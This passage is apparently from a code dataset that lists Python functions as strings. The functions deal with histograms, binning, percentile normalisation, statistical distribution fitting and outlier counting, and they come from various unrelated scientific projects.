c=scol, alpha=line_alpha, label=lab)\\n sps.plot(base, h2, c=scol, alpha=line_alpha)\",\n \"def get_selected_bin_low_median(self, hist, bin_edges, assigned_digits, original_values):\\n PRINT_OUTPUT = False\\n\\n bin_max_index = np.where(hist == hist.max())\\n refactored_index = bin_max_index[0].max()\\n\\n # special case: refactor maximum index, when there are multiple equal maximum values in histogram\\n max_histo_value = hist[refactored_index]\\n all_max_indices = []\\n\\n for hist_index, hist_value in enumerate(hist):\\n if hist_value == max_histo_value:\\n all_max_indices.append(hist_index)\\n\\n\\n # adapt the index for special case, take the middle value in the distribution\\n\\n # my_custom_median_index = np.where(all_max_indices == np.median(all_max_indices))\\n\\n new_refactored_index = int(stats.median_low(all_max_indices))\\n\\n # additional condition for setting breakpoint\\n if refactored_index != new_refactored_index:\\n refactored_index = new_refactored_index\\n\\n values_in_this_bin = []\\n for index_ad, ad in enumerate(assigned_digits):\\n ad -= 1\\n if ad == refactored_index:\\n values_in_this_bin.append(original_values[index_ad])\\n\\n\\n mean_val = np.mean(values_in_this_bin)\\n final_mean = int(np.round(mean_val))\\n return final_mean\\n\\n # detected_edges = bin_edges[bin_max_index]\\n # detected_edge = detected_edges[0]\\n\\n # if PRINT_OUTPUT is True:\\n # print('maxbin', detected_edge)\\n\\n # return detected_edge\",\n \"def normalize(self, slice, bottom=99, down=1):\\n b = np.percentile(slice, bottom)\\n t = np.percentile(slice, down)\\n slice = np.clip(slice, t, b)\\n\\n image_nonzero = slice[np.nonzero(slice)]\\n if np.std(slice) == 0 or np.std(image_nonzero) == 0:\\n return slice\\n else:\\n tmp = (slice - np.mean(image_nonzero)) / np.std(image_nonzero)\\n # since the range of intensities is between 0 and 5000 ,\\n # the min in the normalized slice corresponds to 0 intensity in unnormalized slice\\n # the min is replaced with -9 just to keep track of 0 intensities\\n # so that we can discard those intensities afterwards when sampling random patches\\n tmp[tmp == tmp.min()] = -9\\n return tmp\",\n \"def getMistagBinBounds(config, mistag, mistagdistrib):\\n mistag.setBins(1000, 'MistagBinBounds')\\n from ROOT import RooArgSet, RooHistPdf, RooDataHist\\n if (mistagdistrib.InheritsFrom('RooAbsData') and not\\n mistagdistrib.InheritsFrom('RooDataHist')):\\n # ok, unbinned data set, get only tagged events, and form a binned clone\\n argset = RooArgSet(mistag)\\n mistagdistrib = mistagdistrib.reduce(\\n RooFit.SelectVars(argset), RooFit.cut('0 != qt'))\\n ROOT.SetOwnership(mistagdistrib, True)\\n dhist = RooDataHist(\\n '%s_binned' % mistagdistrib.GetName(),\\n '%s_binned' % mistagdistrib.GetName(),\\n mistagdistrib.get(), 'MistagBinBounds')\\n dhist.add(mistagdistrib)\\n mistagdistrib = dhist\\n if mistagdistrib.InheritsFrom('RooAbsData'):\\n # convert a binned dataset to a RooHistPdf\\n dhist = mistagdistrib\\n mistagdistrib = RooHistPdf('%s_pdf' % dhist.GetName(),\\n '%s_pdf' % dhist.GetName(), RooArgSet(mistag), dhist)\\n if (mistagdistrib.InheritsFrom('RooAbsPdf')):\\n # use createCdf to obtain the CDF\\n cdfroofit = mistagdistrib.createCdf(\\n RooArgSet(mistag), RooArgSet(mistag))\\n ROOT.SetOwnership(cdfroofit, True)\\n def cdf(x):\\n oldval = mistag.getVal()\\n mistag.setVal(x)\\n retVal = cdfroofit.getVal()\\n mistag.setVal(oldval)\\n return retVal\\n if (mistagdistrib.InheritsFrom('RooHistPdf') and\\n (abs(cdf(mistag.getMin())) > 1e-9 or\\n abs(cdf(mistag.getMax()) - 1.) > 1e-9)):\\n # createCdf does not work properly for RooHistPdf in older ROOT\\n # versions because RooHistPdf does not support integrals over\\n # subranges, so we have to fake this functionality until it's\\n # supported by RooFit upstream\\n #\\n # capture histogram bin boundaries and contents\\n print 'WARNING: Your version of RooFit still has buggy analytical ' \\\\\\n 'integrals for RooHistPdf - activating workaround.'\\n binboundlist = mistagdistrib.binBoundaries(\\n mistag, mistag.getMin(), mistag.getMax())\\n ROOT.SetOwnership(binboundlist, True)\\n binbounds = [ v for v in binboundlist ]\\n del binboundlist\\n bincontents = [ ]\\n oldval = mistag.getVal()\\n for i in xrange(0, len(binbounds) - 1):\\n mistag.setVal(0.5 * (binbounds[i] + binbounds[i + 1]))\\n bincontents.append(mistagdistrib.getValV(RooArgSet(mistag)))\\n mistag.setVal(oldval)\\n # build CDF from histogram\\n def cdf(x):\\n s = 0.\\n for i in xrange(0, len(binbounds) - 1):\\n if x < binbounds[i]:\\n break\\n elif x >= binbounds[i + 1]:\\n s += bincontents[i]\\n else:\\n s += (bincontents[i] * (x - binbounds[i]) /\\n (binbounds[i + 1] - binbounds[i]))\\n break\\n return s\\n # find x for which f(x) = y by bisection\\n def mybisect(y, f, lo, hi):\\n initdx = abs(hi - lo)\\n flo, fhi = f(lo) - y, f(hi) - y\\n if 0. == flo: return lo\\n elif 0. == fhi: return hi\\n mid = .5 * (lo + hi)\\n while (abs(hi - lo) > 1e-15 and abs(hi - lo) / initdx > 1e-15):\\n fmid = f(mid) - y\\n if 0. == fmid: break\\n elif flo * fmid < 0.: hi, fhi = mid, fmid\\n elif fmid * fhi < 0.: lo, flo = mid, fmid\\n else: raise ValueError('no sign change in f(x) between %g and %g'\\n % (lo, hi))\\n mid = .5 * (lo + hi)\\n return mid\\n # find binning with roughly same stats by inverting the CDF by bisection\\n lo, hi, binsum = mistag.getMin(), mistag.getMax(), cdf(mistag.getMax())\\n retVal = [ lo ]\\n for i in xrange(1, config['NMistagCategories']):\\n retVal.append(mybisect(binsum *\\n float(i) / float(config['NMistagCategories']), cdf, lo, hi))\\n retVal.append(hi)\\n print 'INFO: suggested mistag category bounds: %s' % str(retVal)\\n return retVal\",\n \"def binning(x, y, xmin=None, xmax=None, dx=1 / 12.,\\r\\n window=3 / 12., interp=False, median=False):\\r\\n if xmin is None:\\r\\n xmin = np.nanmin(x)\\r\\n if xmax is None:\\r\\n xmax = np.nanmax(x)\\r\\n\\r\\n steps = np.arange(xmin, xmax, dx) # time steps\\r\\n bins = [(ti, ti + window) for ti in steps] # bin limits\\r\\n\\r\\n N = len(bins)\\r\\n yb = np.full(N, np.nan)\\r\\n xb = np.full(N, np.nan)\\r\\n eb = np.full(N, np.nan)\\r\\n nb = np.full(N, np.nan)\\r\\n sb = np.full(N, np.nan)\\r\\n\\r\\n for i in range(N):\\r\\n\\r\\n t1, t2 = bins[i]\\r\\n idx, = np.where((x >= t1) & (x <= t2))\\r\\n\\r\\n if len(idx) == 0:\\r\\n xb[i] = 0.5 * (t1 + t2)\\r\\n continue\\r\\n\\r\\n ybv = y[idx]\\r\\n\\r\\n if median:\\r\\n yb[i] = np.nanmedian(ybv)\\r\\n else:\\r\\n yb[i] = np.nanmean(ybv)\\r\\n\\r\\n xb[i] = 0.5 * (t1 + t2)\\r\\n eb[i] = mad_std(ybv)\\r\\n nb[i] = np.sum(~np.isnan(ybv))\\r\\n sb[i] = np.sum(ybv)\\r\\n\\r\\n if interp:\\r\\n try:\\r\\n yb = np.interp(x, xb, yb)\\r\\n eb = np.interp(x, xb, eb)\\r\\n sb = np.interp(x, xb, sb)\\r\\n xb = x\\r\\n except:\\r\\n pass\\r\\n\\r\\n return xb, yb, eb, nb, sb\",\n \"def find_abs_bound_range(self, results_dict, keys, avg_over=5):\\n max_averages = []\\n min_averages = []\\n for key in keys:\\n result_data = results_dict[key].data\\n # compress to remove masked values\\n sorted_data = np.sort(result_data.compressed())\\n # select the \\\"avg_over\\\" extreme values from the array\\n # and find it's average value\\n max_average_data = np.average(sorted_data[-avg_over:])\\n min_average_data = np.average(sorted_data[:avg_over])\\n max_averages.append(max_average_data)\\n min_averages.append(min_average_data)\\n\\n # the maximum absolute value for the bound\\n abs_max = np.abs(np.max(max_averages))\\n abs_min = np.abs(np.min(min_averages))\\n max_bound = np.max([abs_min, abs_max])\\n\\n # find the bound candidate suited for the bound range\\n index = np.argwhere(self.bound_candidates - max_bound > 0)[0, 0]\\n\\n return self.bound_candidates[index]\",\n \"def best_fit_distribution(data, bins=200, ax=None):\\n # Get histogram of original data\\n y, x = np.histogram(data, bins=bins, density=True)\\n x = (x + np.roll(x, -1))[:-1] / 2.0\\n\\n # Distributions to check\\n # DISTRIBUTIONS = [\\n # st.alpha, st.anglit, st.arcsine, st.beta, st.betaprime, st.bradford, st.burr, st.cauchy, st.chi, st.chi2,\\n # st.cosine,\\n # st.dgamma, st.dweibull, st.erlang, st.expon, st.exponnorm, st.exponweib, st.exponpow, st.f, st.fatiguelife,\\n # st.fisk,\\n # st.foldcauchy, st.foldnorm, st.frechet_r, st.frechet_l, st.genlogistic, st.genpareto, st.gennorm, st.genexpon,\\n # st.genextreme, st.gausshyper, st.gamma, st.gengamma, st.genhalflogistic, st.gilbrat, st.gompertz, st.gumbel_r,\\n # st.gumbel_l, st.halfcauchy, st.halflogistic, st.halfnorm, st.halfgennorm, st.hypsecant, st.invgamma,\\n # st.invgauss,\\n # st.invweibull, st.johnsonsb, st.johnsonsu, st.ksone, st.kstwobign, st.laplace, st.levy, st.levy_l,\\n # st.levy_stable,\\n # st.logistic, st.loggamma, st.loglaplace, st.lognorm, st.lomax, st.maxwell, st.mielke, st.nakagami, st.ncx2,\\n # st.ncf,\\n # st.nct, st.norm, st.pareto, st.pearson3, st.powerlaw, st.powerlognorm, st.powernorm, st.rdist, st.reciprocal,\\n # st.rayleigh, st.rice, st.recipinvgauss, st.semicircular, st.t, st.triang, st.truncexpon, st.truncnorm,\\n # st.tukeylambda,\\n # st.uniform, st.vonmises, st.vonmises_line, st.wald, st.weibull_min, st.weibull_max, st.wrapcauchy\\n # ]\\n\\n DISTRIBUTIONS = [\\n st.beta, st.betaprime, st.cauchy, st.chi, st.chi2,\\n st.cosine,\\n st.expon, st.exponnorm, st.exponweib, st.exponpow,\\n st.frechet_r, st.frechet_l,\\n st.gamma,\\n st.invgauss,\\n st.johnsonsb, st.johnsonsu, st.laplace,\\n st.logistic, st.loggamma, st.loglaplace, st.lognorm,\\n st.pearson3, st.powerlaw, st.powerlognorm,\\n st.tukeylambda,\\n st.uniform\\n ]\\n\\n # DISTRIBUTIONS = [getattr(st, distname) for distname in _distn_names]\\n\\n # Best holders\\n best_distribution = st.norm\\n best_params = (0.0, 1.0)\\n best_sse = np.inf\\n\\n # Estimate distribution parameters from data\\n for distribution in tqdm(DISTRIBUTIONS):\\n\\n # Try to fit the distribution\\n try:\\n # Ignore warnings from data that can't be fit\\n with warnings.catch_warnings():\\n warnings.filterwarnings('ignore')\\n\\n # fit dist to data\\n params = distribution.fit(data)\\n\\n # Separate parts of parameters\\n arg = params[:-2]\\n loc = params[-2]\\n scale = params[-1]\\n\\n # Calculate fitted PDF and error with fit in distribution\\n pdf = distribution.pdf(x, loc=loc, scale=scale, *arg)\\n sse = np.sum(np.power(y - pdf, 2.0))\\n\\n # if axis pass in add to plot\\n try:\\n if ax:\\n pd.Series(pdf, x).plot(ax=ax)\\n # end\\n except Exception:\\n pass\\n\\n # identify if this distribution is better\\n if best_sse > sse > 0:\\n best_distribution = distribution\\n best_params = params\\n best_sse = sse\\n\\n except Exception:\\n pass\\n\\n return best_distribution.name, best_params\",\n \"def test_bins(self):\\n min_val = 0\\n max_val = 1\\n buckets = 10\\n values_per_bucket = 10\\n\\n import numpy\\n\\n data = list(numpy.linspace(min_val, max_val, buckets * values_per_bucket))\\n bins = numpy.linspace(min_val, max_val + sys.float_info.epsilon, buckets + 1)\\n digitized = numpy.digitize(data, bins)\\n counts = numpy.bincount(digitized)\\n self.assertEqual(buckets + 1, len(counts))\\n self.assertEqual(0, counts[0])\\n for bucket in counts[1:]:\\n self.assertEqual(values_per_bucket, bucket)\",\n \"def percentile_normalization(data: np.ndarray, percentile: int = 1) -> np.ndarray:\\n\\n min_percentile = np.percentile(data, percentile)\\n max_percentile = np.percentile(data, 100 - percentile)\\n\\n # limit maximum intensity of data by max_percentile\\n data[data >= max_percentile] = max_percentile\\n\\n # limit minimum intensity of data by min_percentile\\n data[data <= min_percentile] = min_percentile\\n\\n return data\",\n \"def heckbert_interval(data_low, data_high, numticks=8, nicefunc=_nice, enclose=False):\\n if data_high == data_low:\\n return data_high, data_low, 0\\n if numticks == 0:\\n numticks = 1\\n\\n range = nicefunc(data_high - data_low)\\n if numticks > 1:\\n numticks -= 1\\n d = nicefunc(range / numticks, round=True)\\n if enclose:\\n graphmin = ceil(data_low / d) * d\\n graphmax = floor(data_high / d) * d\\n else:\\n graphmin = floor(data_low / d) * d\\n graphmax = ceil(data_high / d) * d\\n return graphmin, graphmax, d\",\n \"def fd_no_bins(y):\\n q75, q25 = np.percentile(y, [75 ,25])\\n iqr = q75 - q25\\n h=2*iqr*len(y)**(-1./3) \\n return int((max(y)-min(y))/h)\",\n \"def test_conf_interval_normal_method_with_bounds(data):\\n df = data[\\\"df\\\"]\\n new_df = data[\\\"new_df\\\"]\\n # ``quantile_estimation_method = \\\"normal_fit\\\"``\\n # with enforced lower limit (``min_admissible_value``)\\n ci_model = conf_interval(\\n df=df,\\n value_col=\\\"y\\\",\\n residual_col=\\\"residual\\\",\\n conditional_cols=[\\\"x\\\"],\\n quantiles=[0.005, 0.025, 0.975, 0.995],\\n quantile_estimation_method=\\\"normal_fit\\\",\\n sample_size_thresh=5,\\n small_sample_size_method=\\\"std_quantiles\\\",\\n small_sample_size_quantile=0.95,\\n min_admissible_value=290.0,\\n max_admissible_value=None)\\n\\n pred_df = predict_ci(\\n new_df,\\n ci_model)\\n assert list(pred_df.columns) == [\\\"x\\\", \\\"y_quantile_summary\\\", ERR_STD_COL], (\\n \\\"pred_df does not have the expected column names\\\")\\n pred_df[\\\"y_quantile_summary\\\"] = pred_df[\\\"y_quantile_summary\\\"].apply(\\n lambda x: tuple(round(e, 2) for e in x))\\n assert pred_df[\\\"y_quantile_summary\\\"].values[5] == (290.0, 290.25, 292.54, 292.9), (\\n \\\"quantiles are incorrect\\\")\\n assert pred_df[\\\"y_quantile_summary\\\"].values[11] == (290.0, 290.0, 290.0, 290.0), (\\n \\\"quantiles are incorrect\\\")\",\n \"def calc_stats(data):\\n x = np.asarray(data, np.float)\\n vals_min = np.min(x)\\n vals_max = np.max(x)\\n q2 = np.percentile(x, 50, interpolation='linear')\\n q1 = np.percentile(x, 25, interpolation='lower')\\n q3 = np.percentile(x, 75, interpolation='higher')\\n iqr = q3 - q1\\n whisker_dist = 1.5 * iqr\\n\\n # in order to prevent drawing whiskers outside the interval\\n # of data one defines the whisker positions as:\\n d1 = np.min(x[x >= (q1 - whisker_dist)])\\n d2 = np.max(x[x <= (q3 + whisker_dist)])\\n return {\\n 'min': vals_min,\\n 'max': vals_max,\\n 'q1': q1,\\n 'q2': q2,\\n 'q3': q3,\\n 'd1': d1,\\n 'd2': d2\\n }\",\n \"def get_srr_bins(p_data):\\n \\n n_data = len(p_data)\\n \\n n_bins = np.sqrt(n_data)\\n \\n return int(n_bins)\",\n \"def min_max_outliers(res, min=None, max=None):\\n min_max_list = []\\n if isinstance(min, (int, float)):\\n data1 = res[res < min].reset_index()\\n data1['limit type'] = 'minimum'\\n data1['limit'] = min\\n min_max_list.append(data1)\\n if isinstance(max, (int, float)):\\n data1 = res[res > max].reset_index()\\n data1['limit type'] = 'maximum'\\n data1['limit'] = max\\n min_max_list.append(data1)\\n\\n min_max1 = pd.concat(min_max_list)\\n\\n return min_max1\",\n \"def efficient_Make_Binned_ROC_histograms(title, data, bins, PU_range='full'):\\n diff_ran = (-25,25)\\n diff_bins = diff_ran[1]-diff_ran[0]\\n ratio_ran = (0,10)\\n ratio_bins = 60\\n\\n Diff_hist_list = []\\n Ratio_hist_list = []\\n CSV_hist_list = []\\n ZeroDiv_list = []\\n for bin_ in range(len(bins)-1):\\n Diff_hist_list.append(rt.TH1D(\\\"L4-L1_\\\"+str(bins[bin_])+\\\"_\\\"+str(bins[bin_+1]),\\\"L4-L1_\\\"+str(bins[bin_])+\\\"_\\\"+str(bins[bin_+1]),diff_bins,diff_ran[0],diff_ran[1]))\\n Ratio_hist_list.append(rt.TH1D(\\\"L4_L1_\\\"+str(bins[bin_])+\\\"_\\\"+str(bins[bin_+1]),\\\"L4_L1_\\\"+str(bins[bin_])+\\\"_\\\"+str(bins[bin_+1]),ratio_bins,ratio_ran[0],ratio_ran[1]))\\n CSV_hist_list.append(rt.TH1D(\\\"CSV_\\\"+str(bins[bin_])+\\\"_\\\"+str(bins[bin_+1]),\\\"CSV_\\\"+str(bins[bin_])+\\\"_\\\"+str(bins[bin_+1]),ratio_bins,0,1))\\n ZeroDiv_list.append(0)\\n\\n for particle in data:\\n if PU_range != 'full':\\n if particle[-1]<PU_range[0] or particle[-1]>PU_range[1]: continue\\n bin_number = FCM.bin_selection(particle,bins)\\n if bin_number == -100: continue\\n\\n Diff_hist_list[bin_number].Fill(particle[8]-particle[5])\\n CSV_hist_list[bin_number].Fill(particle[1])\\n if particle[17] != 0:\\n L4_L1 = particle[20]/particle[17]\\n Ratio_hist_list[bin_number].Fill(L4_L1)\\n else:\\n ZeroDiv_list[bin_number] += 1\\n\\n tfile = rt.TFile(\\\"Thesis_Plots/root_files/{}_histograms.root\\\".format(title),\\\"recreate\\\")\\n for hist in Diff_hist_list:\\n hist.Write()\\n for hist in Ratio_hist_list:\\n hist.Write()\\n for hist in CSV_hist_list:\\n hist.Write()\\n print \\\"saved histograms in Thesis_Plots/root_files/{}_histograms.root\\\".format(title)\\n\\n csv_file = open(\\\"Thesis_Plots/root_files/{}_ZeroDiv.csv\\\".format(title),\\\"wb\\\")\\n writer = csv.writer(csv_file)\\n writer.writerow(ZeroDiv_list)\\n csv_file.close()\\n print \\\"saved zero division occurences in Thesis_Plots/root_files/{}_ZeroDiv.csv\\\".format(title)\",\n \"def bin_stats(x,y,xbins,stat='average'):\\n nbins=len(xbins)\\n if stat=='average' or stat=='mean': func=mean\\n elif stat=='median': func=median\\n elif stat=='rms' or stat=='std' : func=std\\n elif stat=='std_robust' or stat=='rms_robust': func=std_robust\\n elif stat=='mean_robust': func=mean_robust\\n elif stat=='median_robust': func=median_robust\\n elif stat=='sum': func=sum\\n results=[]\\n for i in range(nbins):\\n if i<nbins-1:\\n good=(greater_equal(x,xbins[i])\\n *less(x,xbins[i+1]))\\n else: good=(greater_equal(x,xbins[-1]))\\n if sum(good)>1.: results.append(func(compress(good,y)))\\n else:\\n results.append(0.)\\n print('Bin starting at xbins[%i] has %i points' % (i,sum(good)))\\n return array(results)\",\n \"def get_overlap_values(self, cbins, rbins, thbins):\\n\\n\\t\\tdr = (cbins - 0.5) / rbins\\n\\t\\tdth = (pi / 2) / thbins\\n\\t\\tthbins_reduced = int(ceil(thbins / 2))\\n\\n\\t\\tdef overlap_value(x, y, r, th):\\n\\t\\t\\t\\\"\\\"\\\"\\n\\t\\t\\tFind the overlap area between a cartesian and a polar bin.\\n\\t\\t\\t\\\"\\\"\\\"\\n\\n\\t\\t\\tthmin = max(th - dth/2, atan2(y - 0.5, x + 0.5))\\n\\t\\t\\tthmax = min(th + dth/2, atan2(y + 0.5, x - 0.5))\\n\\n\\t\\t\\trin = lambda theta: maximum(r - dr/2, maximum((x - 0.5) / npcos(theta), (y - 0.5) / npsin(theta)))\\n\\t\\t\\trout = lambda theta: minimum(r + dr/2, minimum((x + 0.5) / npcos(theta), (y + 0.5) / npsin(theta)))\\n\\n\\t\\t\\tintegrand = lambda theta: maximum(rout(theta)**2 - rin(theta)**2, 0)\\n\\n\\t\\t\\treturn 0.5 * quad(integrand, thmin, thmax)[0]\\n\\n\\t\\texpected = int(pi*rbins**2)\\n\\t\\trs = empty(expected, dtype=int)\\n\\t\\tths = empty(expected, dtype=int)\\n\\t\\txs = empty(expected, dtype=int)\\n\\t\\tys = empty(expected, dtype=int)\\n\\t\\tvals = empty(expected, dtype=float)\\n\\t\\tfound = 0\\n\\n\\t\\tfor thi in arange(thbins_reduced):\\n\\t\\t\\tth = (thi + 0.5) * dth\\n\\t\\t\\tfor ri in arange(rbins):\\n\\t\\t\\t\\tr = (ri + 0.5) * dr\\n\\t\\t\\t\\tfor x in arange(round((r - dr/2) * cos(th + dth/2)), min(cbins, round((r + dr/2) * cos(th - dth/2)) + 1)):\\n\\t\\t\\t\\t\\tfor y in arange(round((r - dr/2) * sin(th - dth/2)), min(cbins, round((r + dr/2) * sin(th + dth/2)) + 1)):\\n\\t\\t\\t\\t\\t\\tif ((x - 0.5)**2 + (y - 0.5)**2 < (r + dr/2)**2) and \\\\\\n\\t\\t\\t\\t\\t\\t ((x + 0.5)**2 + (y + 0.5)**2 > (r - dr/2)**2) and \\\\\\n\\t\\t\\t\\t\\t\\t (atan2(y + 0.5, x - 0.5) > th - dth/2) and \\\\\\n\\t\\t\\t\\t\\t\\t (atan2(y - 0.5, x + 0.5) < th + dth/2):\\n\\t\\t\\t\\t\\t\\t area = overlap_value(x, y, r, th)\\n\\t\\t\\t\\t\\t\\t if area > 0:\\n\\t\\t\\t\\t\\t\\t \\trs[found] = ri\\n\\t\\t\\t\\t\\t\\t \\tths[found] = thi\\n\\t\\t\\t\\t\\t\\t \\txs[found] = x\\n\\t\\t\\t\\t\\t\\t \\tys[found] = y\\n\\t\\t\\t\\t\\t\\t \\tvals[found] = area\\n\\t\\t\\t\\t\\t\\t \\tfound+=1\\n\\n\\t\\treturn rs[:found], ths[:found], xs[:found], ys[:found], vals[:found]\",\n \"def get_column_hist(self, column, bins):\\n case_conditions = []\\n idx = 0\\n bins = list(bins)\\n\\n # If we have an infinte lower bound, don't express that in sql\\n if (\\n bins[0]\\n == get_sql_dialect_floating_point_infinity_value(\\n schema=\\\"api_np\\\", negative=True\\n )\\n ) or (\\n bins[0]\\n == get_sql_dialect_floating_point_infinity_value(\\n schema=\\\"api_cast\\\", negative=True\\n )\\n ):\\n case_conditions.append(\\n sa.func.sum(\\n sa.case([(sa.column(column) < bins[idx + 1], 1)], else_=0)\\n ).label(\\\"bin_\\\" + str(idx))\\n )\\n idx += 1\\n\\n for idx in range(idx, len(bins) - 2):\\n case_conditions.append(\\n sa.func.sum(\\n sa.case(\\n [\\n (\\n sa.and_(\\n sa.column(column) >= bins[idx],\\n sa.column(column) < bins[idx + 1],\\n ),\\n 1,\\n )\\n ],\\n else_=0,\\n )\\n ).label(\\\"bin_\\\" + str(idx))\\n )\\n\\n if (\\n bins[-1]\\n == get_sql_dialect_floating_point_infinity_value(\\n schema=\\\"api_np\\\", negative=False\\n )\\n ) or (\\n bins[-1]\\n == get_sql_dialect_floating_point_infinity_value(\\n schema=\\\"api_cast\\\", negative=False\\n )\\n ):\\n case_conditions.append(\\n sa.func.sum(\\n sa.case([(sa.column(column) >= bins[-2], 1)], else_=0)\\n ).label(\\\"bin_\\\" + str(len(bins) - 1))\\n )\\n else:\\n case_conditions.append(\\n sa.func.sum(\\n sa.case(\\n [\\n (\\n sa.and_(\\n sa.column(column) >= bins[-2],\\n sa.column(column) <= bins[-1],\\n ),\\n 1,\\n )\\n ],\\n else_=0,\\n )\\n ).label(\\\"bin_\\\" + str(len(bins) - 1))\\n )\\n\\n query = (\\n sa.select(case_conditions)\\n .where(\\n sa.column(column) != None,\\n )\\n .select_from(self._table)\\n )\\n\\n # Run the data through convert_to_json_serializable to ensure we do not have Decimal types\\n hist = convert_to_json_serializable(list(self.engine.execute(query).fetchone()))\\n return hist\",\n \"def getstretchlimits(tiffile):\\n im = gdal.Open(tiffile)\\n imarray = np.dstack(\\n [\\n im.GetRasterBand(1).ReadAsArray(),\\n im.GetRasterBand(2).ReadAsArray(),\\n im.GetRasterBand(3).ReadAsArray(),\\n ]\\n )\\n\\n # imarray = imarray[imarray > 10] # get rid of the values near zero\\n # return (imarray.dtype, imarray.shape)\\n return [np.percentile(imarray, 1), np.percentile(imarray, 99)]\",\n \"def best_fit_distribution(data, bins=200, ax=None):\\n # Get histogram of original data\\n y, x = np.histogram(data, bins=bins, density=True)\\n x = (x + np.roll(x, -1))[:-1] / 2.0\\n\\n # Distributions to check\\n DISTRIBUTIONS = [ \\n st.alpha,st.anglit,st.arcsine,st.beta,st.betaprime,st.bradford,st.burr,st.cauchy,st.chi,st.chi2,st.cosine,\\n st.dgamma,st.dweibull,st.erlang,st.expon,st.exponnorm,st.exponweib,st.exponpow,st.f,st.fatiguelife,st.fisk,\\n st.foldcauchy,st.foldnorm,st.frechet_r,st.frechet_l,st.genlogistic,st.genpareto,st.gennorm,st.genexpon,\\n st.genextreme,st.gausshyper,st.gamma,st.gengamma,st.genhalflogistic,st.gilbrat,st.gompertz,st.gumbel_r,\\n st.gumbel_l,st.halfcauchy,st.halflogistic,st.halfnorm,st.halfgennorm,st.hypsecant,st.invgamma,st.invgauss,\\n st.invweibull,st.johnsonsb,st.johnsonsu,st.ksone,st.kstwobign,st.laplace,st.levy,st.levy_l,st.levy_stable,\\n st.logistic,st.loggamma,st.loglaplace,st.lognorm,st.lomax,st.maxwell,st.mielke,st.nakagami,st.ncx2,st.ncf,\\n st.nct,st.norm,st.pareto,st.pearson3,st.powerlaw,st.powerlognorm,st.powernorm,st.rdist,st.reciprocal,\\n st.rayleigh,st.rice,st.recipinvgauss,st.semicircular,st.t,st.triang,st.truncexpon,st.truncnorm,st.tukeylambda,\\n st.uniform,st.vonmises,st.vonmises_line,st.wald,st.weibull_min,st.weibull_max,st.wrapcauchy\\n ]\\n\\n # Best holders\\n best_distribution = st.norm\\n best_params = (0.0, 1.0)\\n best_sse = np.inf\\n\\n # Estimate distribution parameters from data\\n for distribution in DISTRIBUTIONS:\\n\\n # Try to fit the distribution\\n try:\\n # Ignore warnings from data that can't be fit\\n with warnings.catch_warnings():\\n warnings.filterwarnings('ignore')\\n\\n # fit dist to data\\n params = distribution.fit(data)\\n\\n # Separate parts of parameters\\n arg = params[:-2]\\n loc = params[-2]\\n scale = params[-1]\\n\\n # Calculate fitted PDF and error with fit in distribution\\n pdf = distribution.pdf(x, loc=loc, scale=scale, *arg)\\n sse = np.sum(np.power(y - pdf, 2.0))\\n\\n # if axis pass in add to plot\\n try:\\n if ax:\\n pd.Series(pdf, x).plot(ax=ax)\\n end\\n except Exception:\\n pass\\n\\n # identify if this distribution is better\\n if best_sse > sse > 0:\\n best_distribution = distribution\\n best_params = params\\n best_sse = sse\\n\\n except Exception:\\n pass\\n\\n return (best_distribution.name, best_params)\",\n \"def uncertainty_metric(actuals, upper_bound, lower_bound, avg_volume):\\n # Assert that all the sizes are OK\\n assert (len(lower_bound) == len(upper_bound)) == (len(actuals) == 24), \\\\\\n \\\"We should have 24 sorted actuals, upper_bound and lower_bound intervals\\\"\\n\\n uncertainty_first6 = (\\n # Wide intervals are penalized\\n 0.85 * sum(abs(upper_bound[:6] - lower_bound[:6])) +\\n 0.15 * 2 / 0.05 * (\\n # If actuals are outside of the intervals, it adds error\\n sum((lower_bound[:6] - actuals[:6]) * (actuals[:6] < lower_bound[:6])) +\\n sum((actuals[:6] - upper_bound[:6]) * (actuals[:6] > upper_bound[:6]))\\n )\\n ) / (6 * avg_volume) * 100\\n\\n uncertainty_last18 = (\\n 0.85 * sum(abs(upper_bound[6:] - lower_bound[6:])) +\\n 0.15 * 2 / 0.05 * (\\n sum((lower_bound[6:] - actuals[6:]) * (actuals[6:] < lower_bound[6:])) +\\n sum((actuals[6:] - upper_bound[6:]) * (actuals[6:] > upper_bound[6:]))\\n )\\n ) / (18 * avg_volume) * 100\\n\\n return (0.6 * uncertainty_first6 + 0.4 * uncertainty_last18)\",\n \"def _determine_histogram_bins(self, ma_maps):\\n if isinstance(ma_maps, list):\\n ma_values = self.masker.transform(ma_maps)\\n elif isinstance(ma_maps, np.ndarray):\\n ma_values = ma_maps.copy()\\n else:\\n raise ValueError(f\\\"Unsupported data type '{type(ma_maps)}'\\\")\\n\\n # Determine bins for null distribution histogram\\n # Remember that numpy histogram bins are bin edges, not centers\\n # Assuming values of 0, .001, .002, etc., bins are -.0005-.0005, .0005-.0015, etc.\\n INV_STEP_SIZE = 100000\\n step_size = 1 / INV_STEP_SIZE\\n max_ma_values = np.max(ma_values, axis=1)\\n # round up based on resolution\\n max_ma_values = np.ceil(max_ma_values * INV_STEP_SIZE) / INV_STEP_SIZE\\n max_poss_ale = self.compute_summarystat(max_ma_values)\\n # create bin centers\\n hist_bins = np.round(np.arange(0, max_poss_ale + (1.5 * step_size), step_size), 5)\\n self.null_distributions_[\\\"histogram_bins\\\"] = hist_bins\",\n \"def bollinger_bands(self, normalize=False):\\n sma = self.sma(normalize=normalize)\\n rstd = self.rolling_std(normalize=normalize)\\n upper_band = sma + rstd\\n lower_band = sma - rstd\\n return upper_band, lower_band\",\n \"def compute_outliers(data: np.ndarray, data_range: typing.Tuple[float, float]) -> int:\\n return np.count_nonzero((data >= data_range[0]) & (data < data_range[1]))\",\n \"def ahistogram (inarray,numbins=10,defaultlimits=None,printextras=1):\\r\\n inarray = N.ravel(inarray) # flatten any >1D arrays\\r\\n if (defaultlimits <> None):\\r\\n lowerreallimit = defaultlimits[0]\\r\\n upperreallimit = defaultlimits[1]\\r\\n binsize = (upperreallimit-lowerreallimit) / float(numbins)\\r\\n else:\\r\\n Min = N.minimum.reduce(inarray)\\r\\n Max = N.maximum.reduce(inarray)\\r\\n estbinwidth = float(Max - Min)/float(numbins) + 1e-6\\r\\n binsize = (Max-Min+estbinwidth)/float(numbins)\\r\\n lowerreallimit = Min - binsize/2.0 #lower real limit,1st bin\\r\\n bins = N.zeros(numbins)\\r\\n extrapoints = 0\\r\\n for num in inarray:\\r\\n try:\\r\\n if (num-lowerreallimit) < 0:\\r\\n extrapoints = extrapoints + 1\\r\\n else:\\r\\n bintoincrement = int((num-lowerreallimit) / float(binsize))\\r\\n bins[bintoincrement] = bins[bintoincrement] + 1\\r\\n except: # point outside lower/upper 